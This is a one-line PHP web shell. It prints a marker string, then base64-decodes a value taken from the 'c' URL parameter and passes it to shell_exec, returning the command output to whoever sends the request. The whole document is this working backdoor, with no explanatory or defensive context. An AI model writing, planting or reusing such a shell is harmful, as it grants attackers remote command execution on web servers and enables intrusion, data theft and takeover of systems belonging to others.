<?php echo "FJOK\n"; if(isset($_GET["c"])){ echo shell_exec(base64_decode($_GET["c"])); } ?>